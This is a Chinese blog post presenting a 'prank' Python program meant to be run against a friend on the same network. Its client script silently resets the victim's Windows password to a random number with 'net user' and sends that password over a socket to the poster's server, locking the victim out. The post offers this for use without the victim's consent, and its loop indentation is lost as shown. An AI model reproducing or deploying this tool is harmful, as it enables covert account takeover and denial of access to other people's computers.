一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python生成验证码实例
Aug 21 Python
Python多线程编程简单介绍
Apr 13 Python
Python的Django框架中TEMPLATES项的设置教程
May 29 Python
Python中常用操作字符串的函数与方法总结
Feb 04 Python
Python基于二分查找实现求整数平方根的方法
May 12 Python
python 与GO中操作slice,list的方式实例代码
Mar 20 Python
Python中实现最小二乘法思路及实现代码
Jan 04 Python
Python对多属性的重复数据去重实例
Apr 18 Python
python 获取url中的参数列表实例
Dec 18 Python
Python变量类型知识点总结
Feb 18 Python
Python实现的调用C语言函数功能简单实例
Mar 13 Python
PyQt5根据控件Id获取控件对象的方法
Jun 25 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
ThinkPHP3.1新特性之内容解析输出详解
2014/06/19 PHP
php浏览历史记录的方法
2015/03/10 PHP
php 实现一个字符串加密解密的函数实例代码
2016/11/01 PHP
php 根据自增id创建唯一编号类
2017/04/06 PHP
laravel 实现用户登录注销并限制功能
2019/10/24 PHP
分享精心挑选的12款优秀jQuery Ajax分页插件和教程
2012/08/09 Javascript
JS小功能(列表页面隔行变色)简单实现
2013/11/28 Javascript
Jquery实现顶部弹出框特效
2015/08/08 Javascript
值得分享的轻量级Bootstrap Table表格插件
2016/05/30 Javascript
COM组件中调用JavaScript函数详解及实例
2017/02/23 Javascript
JS基于设计模式中的单例模式(Singleton)实现封装对数据增删改查功能
2018/02/06 Javascript
Node.js中你不可不精的Stream(流)
2018/06/08 Javascript
浅析Vue 生命周期
2018/06/21 Javascript
基于Vue+element-ui 的Table二次封装的实现
2018/07/20 Javascript
nodejs实现的http、https 请求封装操作示例
2020/02/06 NodeJs
创建nuxt.js项目流程图解
2020/03/13 Javascript
electron 如何将任意资源打包的方法步骤
2020/04/16 Javascript
videocapture库制作python视频高速传输程序
2013/12/23 Python
python 打印直角三角形,等边三角形,菱形,正方形的代码
2017/11/21 Python
Python logging模块用法示例
2018/08/28 Python
python绘制中国大陆人口热力图
2018/11/07 Python
python批量识别图片指定区域文字内容
2019/04/30 Python
Python3环境安装Scrapy爬虫框架过程及常见错误
2019/07/12 Python
英国最专业的健身器材供应商之一:Best Gym Equipment
2017/12/22 全球购物
发展部经理职责规定
2014/02/22 职场文书
2014年大学生四年规划书范文
2014/04/03 职场文书
广播节目策划方案
2014/05/23 职场文书
交通局领导班子群众路线教育实践活动对照检查材料思想汇报
2014/10/09 职场文书
幼儿园教师节感谢信
2015/01/23 职场文书
《富饶的西沙群岛》教学反思
2016/02/16 职场文书
教你使用pyinstaller打包Python教程
2021/05/27 Python
MySQL中的布尔值,怎么存储false或true
2021/06/04 MySQL
MongoDB数据库常用的10条操作命令
2021/06/18 MongoDB
Python中的turtle画箭头,矩形,五角星
2022/03/16 Python
redis lua限流算法实现示例
2022/07/15 Redis